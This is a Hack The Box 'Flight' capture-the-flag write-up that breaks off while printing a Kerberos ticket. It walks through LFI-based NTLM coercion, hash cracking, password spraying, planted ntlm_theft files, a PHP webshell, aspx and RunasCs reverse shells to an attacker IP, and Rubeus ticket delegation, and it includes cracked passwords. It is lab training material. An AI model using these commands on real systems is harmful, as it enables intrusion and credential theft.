Hack The Box - Flight
Hack The Box - Flight
User
Recon
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
web page gives no clue Copyright 2022 flight.htb - All Rights Reserved
school.flight.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ gobuster vhost -u flight.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 --ad
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://flight.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
school.flight.htb Status: 200 [Size: 3996]
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
===============================================================
cool we have school.flight.htb visiting we have a template website with template pages like home.html , blog.html , about.html but viewing index.html is the lead
Foothold via LFI
http://school.flight.htb/index.php?view=index.php
It gives us the lead
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
ini_set('display_errors', 0);
error_reporting(E_ERROR | E_WARNING | E_PARSE);
if(isset($_GET['view'])){
$file=$_GET['view'];
if ((strpos(urldecode($_GET['view']),'..')!==false)||
(strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
(strpos(urldecode($_GET['view']),'\\')!==false)||
(strpos(urldecode($_GET['view']),'htaccess')!==false)||
(strpos(urldecode($_GET['view']),'.shtml')!==false)
){
echo "<h1>Suspicious Activity Blocked!";
echo "<h3>Incident will be reported</h3>\r\n";
}else{
echo file_get_contents($_GET['view']);
}
}else{
echo file_get_contents("C:\\xampp\\htdocs\\school.flight.htb\\home.html");
}
?>
now first I tried to make an outbount request to my machine using simple python http server which worked and since blocklist blocks \\ but not // we can try responder and get credentials
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ sudo responder -I tun0 -v
[snip]
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.2.10
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash : svc_apache::flight:14244242c5997b1f:52BFA42A8F42F0ACCFAF40E8EAFE4B37:0101000000000000007DA8F8430FDD0108E972A3514E574F0000000002000800560030005700560001001E00570049004E002D004100510050003600460032005200460045004D00410004003400570049004E002D004100510050003600460032005200460045004D0041002E0056003000570056002E004C004F00430041004C000300140056003000570056002E004C004F00430041004C000500140056003000570056002E004C004F00430041004C0007000800007DA8F8430FDD01060004000200000008003000300000000000000000000000003000002F8681CCABE09E37B34EB79CB7CA1BAB8597EA85A216ACBFD9236B7C69EB598F0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100320033000000000000000000
[SMB] NTLMv2-SSP Client : 10.129.2.10
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash : svc_apache::flight:8ba05d0901641d63:B07589A8B1F0FB3FE73CB9324EADC13B:0101000000000000007DA8F8430FDD0135F1824B3A9706A20000000002000800560030005700560001001E00570049004E002D004100510050003600460032005200460045004D00410004003400570049004E002D004100510050003600460032005200460045004D0041002E0056003000570056002E004C004F00430041004C000300140056003000570056002E004C004F00430041004C000500140056003000570056002E004C004F00430041004C0007000800007DA8F8430FDD01060004000200000008003000300000000000000000000000003000002F8681CCABE09E37B34EB79CB7CA1BAB8597EA85A216ACBFD9236B7C69EB598F0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100320033000000000000000000
[SMB] NTLMv2-SSP Client : 10.129.2.10
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash : svc_apache::flight:29fc7b1890cd8685:DC15E1996318C82C19D98FDDC664F71A:0101000000000000007DA8F8430FDD01ED73B0ACE670D8380000000002000800560030005700560001001E00570049004E002D004100510050003600460032005200460045004D00410004003400570049004E002D004100510050003600460032005200460045004D0041002E0056003000570056002E004C004F00430041004C000300140056003000570056002E004C004F00430041004C000500140056003000570056002E004C004F00430041004C0007000800007DA8F8430FDD01060004000200000008003000300000000000000000000000003000002F8681CCABE09E37B34EB79CB7CA1BAB8597EA85A216ACBFD9236B7C69EB598F0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100320033000000000000000000
using hashcat to crack the password using rockyou wordlist
SVC_APACHE::flight:29fc7b1890cd8685:dc15e1996318c82c19d98fddc664f71a:0101000000000000007da8f8430fdd01ed73b0ace670d8380000000002000800560030005700560001001e00570049004e002d004100510050003600460032005200460045004d00410004003400570049004e002d004100510050003600460032005200460045004d0041002e0056003000570056002e004c004f00430041004c000300140056003000570056002e004c004f00430041004c000500140056003000570056002e004c004f00430041004c0007000800007da8f8430fdd01060004000200000008003000300000000000000000000000003000002f8681ccabe09e37b34eb79cb7ca1bab8597ea85a216acbfd9236b7c69eb598f0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100320033000000000000000000:S@Ss!K@*t13
svc_apache:S@Ss!K@*t13
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ nxc smb 10.129.2.10 -u svc_apache -p 'S@Ss!K@*t13' --shares
SMB 10.129.2.10 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.2.10 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.129.2.10 445 G0 [*] Enumerated shares
SMB 10.129.2.10 445 G0 Share Permissions Remark
SMB 10.129.2.10 445 G0 ----- ----------- ------
SMB 10.129.2.10 445 G0 ADMIN$ Remote Admin
SMB 10.129.2.10 445 G0 C$ Default share
SMB 10.129.2.10 445 G0 IPC$ READ Remote IPC
SMB 10.129.2.10 445 G0 NETLOGON READ Logon server share
SMB 10.129.2.10 445 G0 Shared READ
SMB 10.129.2.10 445 G0 SYSVOL READ Logon server share
SMB 10.129.2.10 445 G0 Users READ
SMB 10.129.2.10 445 G0 Web READ
nothing useful there
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nxc smb 10.129.2.10 -u svc_apache -p 'S@Ss!K@*t13' --users
SMB 10.129.2.10 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.2.10 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.129.2.10 445 G0 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.2.10 445 G0 Administrator 2022-09-22 20:17:02 0 Built-in account for administering the computer/domain
SMB 10.129.2.10 445 G0 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.2.10 445 G0 krbtgt 2022-09-22 19:48:01 0 Key Distribution Center Service Account
SMB 10.129.2.10 445 G0 S.Moon 2022-09-22 20:08:22 0 Junion Web Developer
SMB 10.129.2.10 445 G0 R.Cold 2022-09-22 20:08:22 0 HR Assistant
SMB 10.129.2.10 445 G0 G.Lors 2022-09-22 20:08:22 0 Sales manager
SMB 10.129.2.10 445 G0 L.Kein 2022-09-22 20:08:22 0 Penetration tester
SMB 10.129.2.10 445 G0 M.Gold 2022-09-22 20:08:22 0 Sysadmin
SMB 10.129.2.10 445 G0 C.Bum 2022-09-22 20:08:22 0 Senior Web Developer
SMB 10.129.2.10 445 G0 W.Walker 2022-09-22 20:08:22 0 Payroll officer
SMB 10.129.2.10 445 G0 I.Francis 2022-09-22 20:08:22 0 Nobody knows why he's here
SMB 10.129.2.10 445 G0 D.Truff 2022-09-22 20:08:22 0 Project Manager
SMB 10.129.2.10 445 G0 V.Stevens 2022-09-22 20:08:22 0 Secretary
SMB 10.129.2.10 445 G0 svc_apache 2022-09-22 20:08:23 0 Service Apache web
SMB 10.129.2.10 445 G0 O.Possum 2022-09-22 20:08:23 0 Helpdesk
SMB 10.129.2.10 445 G0 [*] Enumerated 15 local users: flight
we have users puting that in users.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ cat users.txt | awk '{print $5}'
Administrator
Guest
krbtgt
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum
now lowercasing that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ cat users.txt | awk '{print $5}' | sed 's/.*/\L&/'
administrator
guest
krbtgt
s.moon
r.cold
g.lors
l.kein
m.gold
c.bum
w.walker
i.francis
d.truff
v.stevens
svc_apache
o.possum
updating users.txt with the users and then running kerberos attack
1
2
3
4
❯ GetUserSPNs.py flight.htb/svc_apache:'S@Ss!K@*t13' -dc-ip 10.129.2.10 -request
Impacket v0.14.0.dev0+20260619.174856.9a5621d4 - Copyright Fortra, LLC and its affiliated companies
No entries found!
now doing a domain search using ldapsearch
1
2
3
4
5
Domain/FQDN: flight.htb
NetBIOS domain: FLIGHT
Domain DN/base: DC=flight,DC=htb
Domain Controller: g0.flight.htb
Hostname: G0
doing asrep roasting
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ GetNPUsers.py flight.htb/svc_apache:'S@Ss!K@*t13' -dc-ip 10.129.2.10 -usersfile users.txt -request -format hashcat -outputfile asrep.hashes
Impacket v0.14.0.dev0+20260619.174856.9a5621d4 - Copyright Fortra, LLC and its affiliated companies
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User s.moon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User r.cold doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User g.lors doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User l.kein doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.gold doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User c.bum doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User w.walker doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User i.francis doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User d.truff doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User v.stevens doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_apache doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User o.possum doesn't have UF_DONT_REQUIRE_PREAUTH set
kerberoasting
1
2
3
4
❯ GetUserSPNs.py flight.htb/svc_apache:'S@Ss!K@*t13' -dc-ip 10.129.2.10 -request
Impacket v0.14.0.dev0+20260619.174856.9a5621d4 - Copyright Fortra, LLC and its affiliated companies
No entries found!
now trying a passwordspray on users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nxc smb 10.129.2.10 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
SMB 10.129.2.10 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.2.10 445 G0 [-] flight.htb\administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [-] flight.htb\guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [+] flight.htb\s.moon:S@Ss!K@*t13
SMB 10.129.2.10 445 G0 [-] flight.htb\r.cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [-] flight.htb\g.lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [-] flight.htb\l.kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [-] flight.htb\m.gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [-] flight.htb\c.bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [-] flight.htb\w.walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [-] flight.htb\i.francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [-] flight.htb\d.truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [-] flight.htb\v.stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.2.10 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.129.2.10 445 G0 [-] flight.htb\o.possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
password re-use on s.moon
s.moon:S@Ss!K@*t13p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ nxc smb 10.129.2.10 -u s.moon -p 'S@Ss!K@*t13' --shares
SMB 10.129.2.10 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.2.10 445 G0 [+] flight.htb\s.moon:S@Ss!K@*t13
SMB 10.129.2.10 445 G0 [*] Enumerated shares
SMB 10.129.2.10 445 G0 Share Permissions Remark
SMB 10.129.2.10 445 G0 ----- ----------- ------
SMB 10.129.2.10 445 G0 ADMIN$ Remote Admin
SMB 10.129.2.10 445 G0 C$ Default share
SMB 10.129.2.10 445 G0 IPC$ READ Remote IPC
SMB 10.129.2.10 445 G0 NETLOGON READ Logon server share
SMB 10.129.2.10 445 G0 Shared READ,WRITE
SMB 10.129.2.10 445 G0 SYSVOL READ Logon server share
SMB 10.129.2.10 445 G0 Users READ
SMB 10.129.2.10 445 G0 Web READ
we have write on Shared folder using https://raw.githubusercontent.com/Greenwolf/ntlm_theft/refs/heads/master/ntlm_theft.py now using this to create multiple malicious files and puting it on smb server
❯ python3 ntlm_theft.py -g all -s 10.10.14.123 -f nicetrykiddo
1
2
3
4
5
6
7
8
❯ smbclient //10.129.2.10/Shared -U 'FLIGHT/s.moon%S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> prompt false
smb: \> mput *
putting file desktop.ini as \desktop.ini (0.2 kB/s) (average 0.2 kB/s)
putting file nicetrykiddo-(stylesheet).xml as \nicetrykiddo-(stylesheet).xml (0.6 kB/s) (average 0.4 kB/s)
NT_STATUS_ACCESS_DENIED opening remote file \Autorun.inf
smb: \>
we get a hit on responder
1
2
3
[SMB] NTLMv2-SSP Client : 10.129.2.10
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash : c.bum::flight.htb:a6e35b024a5ddba4:80FCC8134E04329FF767DC383ECEB273:01010000000000000039BC526A0FDD0193D693D4711A94A000000000020008004B0036005100460001001E00570049004E002D005800310059004500560042004B00470053004A004B0004003400570049004E002D005800310059004500560042004B00470053004A004B002E004B003600510046002E004C004F00430041004C00030014004B003600510046002E004C004F00430041004C00050014004B003600510046002E004C004F00430041004C00070008000039BC526A0FDD01060004000200000008003000300000000000000000000000003000002F8681CCABE09E37B34EB79CB7CA1BAB8597EA85A216ACBFD9236B7C69EB598F0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100320033000000000000000000
cracked via hashcat with rockyou
C.BUM::flight.htb:a6e35b024a5ddba4:80fcc8134e04329ff767dc383eceb273:01010000000000000039bc526a0fdd0193d693d4711a94a000000000020008004b0036005100460001001e00570049004e002d005800310059004500560042004b00470053004a004b0004003400570049004e002d005800310059004500560042004b00470053004a004b002e004b003600510046002e004c004f00430041004c00030014004b003600510046002e004c004f00430041004c00050014004b003600510046002e004c004f00430041004c00070008000039bc526a0fdd01060004000200000008003000300000000000000000000000003000002f8681ccabe09e37b34eb79cb7ca1bab8597ea85a216acbfd9236b7c69eb598f0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100320033000000000000000000:Tikkycoll_431012284
c.bum:Tikkycoll_431012284
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ nxc smb 10.129.2.10 -u c.bum -p 'Tikkycoll_431012284' --shares
SMB 10.129.2.10 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.2.10 445 G0 [+] flight.htb\c.bum:Tikkycoll_431012284
SMB 10.129.2.10 445 G0 [*] Enumerated shares
SMB 10.129.2.10 445 G0 Share Permissions Remark
SMB 10.129.2.10 445 G0 ----- ----------- ------
SMB 10.129.2.10 445 G0 ADMIN$ Remote Admin
SMB 10.129.2.10 445 G0 C$ Default share
SMB 10.129.2.10 445 G0 IPC$ READ Remote IPC
SMB 10.129.2.10 445 G0 NETLOGON READ Logon server share
SMB 10.129.2.10 445 G0 Shared READ,WRITE
SMB 10.129.2.10 445 G0 SYSVOL READ Logon server share
SMB 10.129.2.10 445 G0 Users READ
SMB 10.129.2.10 445 G0 Web READ,WRITE
very interesting, we have write access since these credentials doesn’t work on winrm, smb write access on Web Share is the lead since we can put a malicious php webshell and access it via web port 80
1
2
3
4
5
6
7
8
9
10
11
12
13
smb: \flight.htb\> put shell.php
putting file shell.php as \flight.htb\shell.php (35.8 kB/s) (average 16.2 kB/s)
smb: \flight.htb\> ls
. D 0 Fri Jul 10 07:32:03 2026
.. D 0 Fri Jul 10 07:32:03 2026
css D 0 Fri Jul 10 07:32:01 2026
images D 0 Fri Jul 10 07:32:01 2026
index.html A 7069 Thu Feb 24 11:28:10 2022
js D 0 Fri Jul 10 07:32:01 2026
shell.php A 9287 Fri Jul 10 07:32:04 2026
5056511 blocks of size 4096. 1188376 blocks available
smb: \flight.htb\>
then visiting http://10.129.2.10/shell.php we get a shell back
1
2
3
4
5
6
7
8
❯ rlwrap -cAr nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.2.10 65255
SOCKET: Shell has connected! PID: 5996
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\flight.htb>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/9/2026 8:42 PM inetpub
d----- 6/7/2022 6:39 AM PerfLogs
d-r--- 10/21/2022 11:49 AM Program Files
d----- 7/20/2021 12:23 PM Program Files (x86)
d----- 7/9/2026 12:49 AM Shared
d----- 9/22/2022 12:28 PM StorageReports
d-r--- 9/22/2022 1:16 PM Users
d----- 10/21/2022 11:52 AM Windows
d----- 9/22/2022 1:16 PM xampp
PS C:\>
there was not much of any LPE lead or anything via bloodhound but that inetpub folder is interesting since its default IIS folder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\inetpub> ls
Directory: C:\inetpub
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/22/2022 12:24 PM custerr
d----- 7/9/2026 8:47 PM development
d----- 9/22/2022 1:08 PM history
d----- 9/22/2022 12:32 PM logs
d----- 9/22/2022 12:24 PM temp
d----- 9/22/2022 12:28 PM wwwroot
doing a netstat gives away service running on port 8000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\inetpub> netstat -ano | findstr LISTENING
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 3964
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 644
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 908
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 644
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 3964
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 644
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 908
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 644
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 644
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 644
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 2748
[snip]
well there was a development folder but we didn’t have enough permissions to view it
1
2
3
4
5
6
7
8
9
10
11
12
PS C:\inetpub> C:\Windows\System32\inetsrv\appcmd.exe list site
ERROR ( message:Configuration error
Filename: redirection.config
Line Number: 0
Description: Cannot read configuration file due to insufficient permissions
. )
PS C:\inetpub> C:\Windows\System32\inetsrv\appcmd.exe list vdir
ERROR ( message:Configuration error
Filename: redirection.config
Line Number: 0
Description: Cannot read configuration file due to insufficient permissions
. )
then i tried to write some file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\inetpub> echo test > C:\inetpub\wwwroot\test.txt
out-file : Access to the path 'C:\inetpub\wwwroot\test.txt' is denied.
At line:1 char:1
+ echo test > C:\inetpub\wwwroot\test.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (:) [Out-File], UnauthorizedAccessException
+ FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand
PS C:\inetpub> echo test > C:\inetpub\development\test.txt
out-file : Access to the path 'C:\inetpub\development\test.txt' is denied.
At line:1 char:1
+ echo test > C:\inetpub\development\test.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (:) [Out-File], UnauthorizedAccessException
+ FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand
PS C:\inetpub>
but well that was expected since we were svc_apache
1
2
3
4
5
6
7
8
9
10
11
PS C:\inetpub> icacls C:\inetpub\development
C:\inetpub\development flight\C.Bum:(OI)(CI)(W)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
and icacls says c.bum has write access to the development folder now lets try to get a shell via RunasCs.exe ill transfer the file via smb via c.bum
1
2
3
smb: \> cd flight.htb
smb: \flight.htb\> put RunasCs.exe
putting file RunasCs.exe as \flight.htb\RunasCs.exe (121.1 kB/s) (average 121.1 kB/s)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\xampp\htdocs\flight.htb> ls
Directory: C:\xampp\htdocs\flight.htb
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/9/2026 9:12 PM css
d----- 7/9/2026 9:12 PM images
d----- 7/9/2026 9:12 PM js
-a---- 2/23/2022 9:58 PM 7069 index.html
-a---- 7/9/2026 9:12 PM 51712 RunasCs.exe
-a---- 7/9/2026 8:05 PM 9287 shell.php
PS C:\xampp\htdocs\flight.htb> .\RunasCs.exe c.bum Tikkycoll_431012284 whoami
[*] Warning: The logon for user 'c.bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
flight\c.bum
I then moved it to C:\Users\svc_apache\Documents\ so it doesn’t get deleted
1
2
3
4
5
6
PS C:\Users\svc_apache\Documents> .\r.exe C.Bum Tikkycoll_431012284 -r 10.10.14.123:9002 cmd
[*] Warning: The logon for user 'C.Bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-70348$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2736 created in background.
1
2
3
4
5
6
7
❯ rlwrap -cAr nc -lvnp 9002
...
C:\Windows\system32>whoami
whoami
flight\c.bum
now since we know on port 8000 IIS is running we can put a malicious apsx file to get code execution
1
2
3
4
5
❯ curl https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/refs/heads/master/shell.aspx -o shell.aspx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 15968 100 15968 0 0 20388 0 0
im using https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/refs/heads/master/shell.aspx for reverse shell by editing it for ip and port and then copying to c.bum shell
1
2
3
4
5
PS C:\inetpub\development> wget 10.10.14.123:8000/shell.aspx -o shell.aspx
wget 10.10.14.123:8000/shell.aspx -o shell.aspx
PS C:\inetpub\development> iwr http://127.0.0.1:8000/shell.aspx -UseBasicParsing
iwr http://127.0.0.1:8000/shell.aspx -UseBasicParsing
then
1
2
3
4
5
6
7
8
9
10
❯ rlwrap -cAr nc -lvnp 9003
Listening on 0.0.0.0 9003
Connection received on 10.129.2.214 61938
Spawn Shell...
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool
lets try to get hash of this user using responder and crack
C:\>net use \\10.10.14.123\doesntmatter
net use \\10.10.14.123\doesntmatter
Enter the user name for '10.10.14.123': System error 1223 has occurred.
The operation was canceled by the user.
responder
1
2
3
4
5
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.2.214
[SMB] NTLMv2-SSP Username : flight\G0$
[SMB] NTLMv2-SSP Hash : G0$::flight:a980e8b5c4281d3c:C0432ABA95E65BA1E08D53B5DACFD27F:010100000000000000EF23A72410DD01265CDEB8A1E9AC110000000002000800520044003000340001001E00570049004E002D003800470048004900590057004C00310059004400470004003400570049004E002D003800470048004900590057004C0031005900440047002E0052004400300034002E004C004F00430041004C000300140052004400300034002E004C004F00430041004C000500140052004400300034002E004C004F00430041004C000700080000EF23A72410DD0106000400020000000800300030000000000000000000000000300000AA23F70B08BE27944BA36C744DE97071A4D7DF520FAF09B1CA9F3B526A19DECD0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100320033000000000000000000
1
2
3
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 5600 (NetNTLMv2)
hashcat failed with rockyou.txt seems like we won’t be able to crack it Let’s run a bloodhound
now bloodhound shows we can DCSync domain but first we need credentials of this user or somehow a ticket
since credentials are not crackable right now we can make use of Rubeus.exe I’ll be using the pre-compiled binary from https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.5_Any/Rubeus.exe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PS C:\ProgramData> .\r.exe tgtdeleg /nowrap
.\r.exe tgtdeleg /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: WEfHsJjSyI8MTKDZKuaSKTZTM6wB6QPa4NmTZWfZZHs=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIEChsH4pisIq4x8HMxYam5UEeR9OmyrunDge3oplGhRPqxsYfjY6SYkJ0QrKdENSVeROB/P/+L+C0rE5kfFb7dnW196JBuCIWM2573LBgjCTPQeO4uRPh1fOwqHISTlWcDtjC7aayJtrQCvcxz0MUlQo63UiruZcJip5MyTNRSs696XeYwFnGfBInlW/mChN5gEJGOTCtJ56ibNqTp/uhdWB2S7JnaVRgDlLmKOSxWeUYev6UUID+wTyPj1Xjc42l6wQbycd9hwddiet5iUXKQ5RfeYUGeJgxwUoR/w+4vg4W1YwGbXTRJNP+CDFsmHvP6FKy142Chk1NGbDRnA0GJ3S89bnRP9hEHa04wprowm4ce+kwbDqyLPyN9Y9ALk4morYGQQfmSr291dga1ns6gFrejArpqia9v+qHxJ9P0yNcqGtfnO4oGggC0DOBWcH9EhUTXn2JAGCcGu8YeXx8+7ykcGarHBBH3/zgdqqRedQFnbCBj0YvPtlOXrGzOwQpWDD3HJIBY9wcB5OdJcAdOEsK2W8a9XOReOVhIxvbnk0CVNdSx5Aeat3njNhI3gQfBuFvULImT7dzdBZyuBnWnL1abxWh9gv5GvXuWmZPof2WC+XvN4PKnp15vrGhA7xmgP0eWAJBjAcwQq4RlvN1UCtjPhD3VcKRMomMF10QxtAb7sd/WUEtn6H1pCRAXsjb2hn4vO4lgkZUPagV